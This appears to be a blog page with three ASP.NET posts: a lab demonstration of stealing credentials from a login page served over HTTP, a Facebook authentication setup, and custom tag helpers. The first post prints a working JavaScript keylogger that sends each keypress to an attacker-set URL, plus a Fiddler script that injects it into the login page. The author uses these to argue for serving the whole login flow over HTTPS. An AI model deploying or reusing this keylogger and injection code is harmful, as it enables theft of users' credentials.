Stealing Credentials On Http Login Form in ASP.NET MVC

In today's blog post, I will be discussing how login form on Http can be risky in an ASP.NET MVC application.

Http Login Form Risk

On so many websites, the account login page is on Http instead of Https. What those people say is that once you post the password, it's Https and thus encrypted and secure. However loading the login page on Http is itself inherently insecure.
So today we will be discussing an attack on how such a site can be compromised.

For this attack, we will be using a script from John Leitch. This a javascript which attaches a key press event with all the elements in the page and sends an HTTP request on each keypress event. I have modified the script with few changes in order to make it work on my machine.

var destination = null;

var useClone = false;

var cloneSource = null;

var cloneDelay = 1000;

function hookInputs() {

   var frame = document.getElementById('overlayFrame');

   var iframe = '<iframe id="frameContainer" 
   style="display:none;"></iframe>';

  var sourceDoc = useClone ? frame.contentDocument : document;

   var html = 
   sourceDoc.getElementsByTagName('html')[0].innerHTML;

   html = 
   html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);

   html = html.replace(/<input/gi, 
  '<input onkeypress="relayKeyPress(event)" ');

   document.clear();

   document.write(html);

}

window.onload = function () {

   if (destination == null) {

     alert('destination not set');

     return;

   }

   if (useClone) {

     if (cloneSource == null) {

       alert('cloneSource not set');

       return;

     }

     document.body.innerHTML +=

     '<iframe style="display:none;" 
     id="overlayFrame" src="' +

     cloneSource + '"></iframe>';

     setTimeout("hookInputs()", cloneDelay);

 &nbsp }

   else

     hookInputs();

};



var l = Math.random().toString().substring(2);

function relayKeyPress(e) {

   var fc = document.getElementById("frameContainer");

   var x = String.fromCharCode(e.keyCode);

   var y = String.fromCharCode(e.which);

   var k = e.keyCode ? x : y;

   var f = destination + escape(k) + 
           (e.srcElement ? e.srcElement.id :
            e.target.id) + "," + l;

   fc.src = f;

}; 

Next, I created two applications: i) HttpLoginApplication and, ii) HttpAttacker. The HttpAttacker simply serves the KeyLogger.js file which contains the script mentioned above. The HttpLoginApplication has a simple login page with username and password fields, which is served on Http.

Next, I installed Fiddler to intercept and modify the Login page being served on Http. In Fiddler, there is a Fiddler Scripts tab which provides us a lot of functionality to intercept the traffic and modify if needed ;)
Inside Fiddler Scripts tab, there is a method named: OnBeforeResponse(oSession: Session). Inside the method I simply intercept the response related to the login page for HttpLoginApplication website and I inject my attacker's key logger script (Ref: Troy Hunt) like this:

if(oSession.HostnameIs("localhost:55456") 
&& oSession.PathAndQuery=="/Account/Login")

{

   oSession.utilDecodeResponse();

   var oBody = 
   System.Text.Encoding.UTF8.GetString(
   oSession.responseBodyBytes);

    oBody = oBody.Replace(
   "/body","<script type=\"text/javascript\" 
 src=\"http://localhost:57190/Scripts/KeyLogger.js\"></script>
 <script type=\"text/javascript\">
 destination='http://localhost:57190/KeyLoger/?k='</script>");

    oSession.utilSetResponseBody(oBody);

 }

So now when I load the Account/Login page on my HttpLoginApplication, it loads Login page along with the KeyLogger.js.  The victim will not even easily notice that Keylogger.js has been loaded.


As a result of this, when the user types in the username and password - with each key press event, an Http Request is generated to the HttpAttacker application.

The attacker can log all these requests and then related them together to easily find the user's credentials.As you can see in the snapshot above, I can see what the user typed and in what field he is typing in.

Conclusion

So we saw how loading login page on Http can be risky. The example shown here is quite simplistic but this is feasible if you are able to intercept the requests and act as man in the middle.
Many websites load their login page on Http and when the user submits, the POST request is on Https. They implement SSL but not in the right way which reduces the effectiveness of their security approach. So it's very important to implement this properly.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right

Facebook Authentication in ASP.NET5 Application

In today's blog post, I will be discussing how to set up Facebook authentication in ASP.NET 5 Web application.

Facebook Authentication in Web Application

To begin with, I created a new web application on Visual Studio 2015RC.
Then I navigated to developers.facebook.com and added a new app. Choose Website as the platform.

 I named the app as TestAuth and you can choose any category and click on Create App ID

 Now your App ID and and App Secret are created and you can view them.

In the Settings tab, I also added my project URL.

Then, in my TestAuth application, I went to Startup.cs file, Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerfactory) method and uncommented the following code:

app.UseFacebookAuthentication();

This adds the Facebook Middleware by adding it to the HTTP Request pipeline.

Next, I added the AppId and AppSecret to my config.json file

  "Authentication": {

    "Facebook": {

      "AppId": "8xxxxxxxxxx",

      "AppSecret":  "2xxxxxxxxxxxxxxxxxxxxxx"

    }

  }

 Now when I run the application and navigate to Login page, I see Facebook login.

Clicking on Facebook button, redirects to the facebook login page. The customer can now use facebook credentials to login to our web application.

Conclusion

So we saw it's easy to set up Facebook authentication on our web application. This prevents the user from the hassle of creating new credentials on our site and for us as web developers, it prevents the hassle of managing the passwords. Similarly, we can use Twitter, Google, etc to set up authentication provider.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the righ.

Tag Helpers in ASP.NET5

In today's blog post, I will be discussing tag helpers in ASP.NET5. I recently downloaded the Visual Studio 2015 and started playing around with it. One of the new and exciting features in ASP.NET 5 (MVC6) is tag helpers.

Why Tag Helper

When we are working with MVC Views, currently we write C# like code in order to output the HTML elements. For example,

@Html.TextBox("FirstName",
 @Model.FirstName, new { style = "width: 100px;" })

When I am writing this code, I have no intellisense available to me when I am adding styles. All this is mentioned as simply HTML attributes. Even when I am adding any of the arguments, I don't get any intellisense to assist me. Also, if we look at the way any View page looks, overall it looks more like C# code rather than HTML code.

So here come the tag helpers to rescue us. The tag helpers help us write the view code in a cleaner way.

<input asp-for="FirstName" style="width:100px;"/>

This code looks more like HTML rather than C# code.

Secondly, now I have intellisense at every step while writing the code. Check out the screenshots:
i) Intellisense for Model Property Name
ii) Intellisense for style/ class, etc
iii) Intellisense for choosing css class
iv) Intellisense for choosing style

Custom Tag Helper

Not only we can use the tag helpers provided to us, we can also create our own tag helpers. Let's see how to create our own custom tag helpers in MVC6 application. In order to create our own custom tag helper, we need to derive from TagHelper abstract class. Let's do this with an example:

 [TargetElement("entity", Attributes = "type")]

    public class EntityTagHelper : TagHelper

    {

        public override void Process(TagHelperContext context,
         TagHelperOutput output)

        {

            int type;

            output.TagName = "img";

            Int32.TryParse(
             context.AllAttributes["type"].ToString(),
             out type);

            string image = String.Empty;

            switch (type)

            {

                case 0:

                    image = "/images/employee.png";

                    break;

                case 1:

                    image = "/images/department.png";

                    break;

                case 2:

                    image = "/images/group.png";

                    break;

            }

            output.Attributes["src"] = image;

        }

    }

Here, I created an EntityTagHelper and overrode the method called Process. There are 2 methods Process and ProcessAsync which can be overridden in TagHelper class. Async as the name suggests is for asynchronous processing.
The Process method has context and output parameters. We will be reading out input attributes from context and setting our output attributes in the output parameter. So here I am creating an img tag and setting the source of the image based on the value of attribute type provided with the entity tag, using simple switch case.

Next, I added this to _GlobalImport.cshtml

@addTagHelper "*, Abhi1"

So here I am adding my custom tag helpers from project named "Abhi1" to my views. This step is extremely important as without this the custom tags will not be working.

Next, I added this to my view:

<entity type="1"></entity>

Since type value of 1 was provided, which translates to department.png.
Conclusion
In this blog post, we saw how custom tag helpers are useful and how we can write our own custom tag helpers in MVC6.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.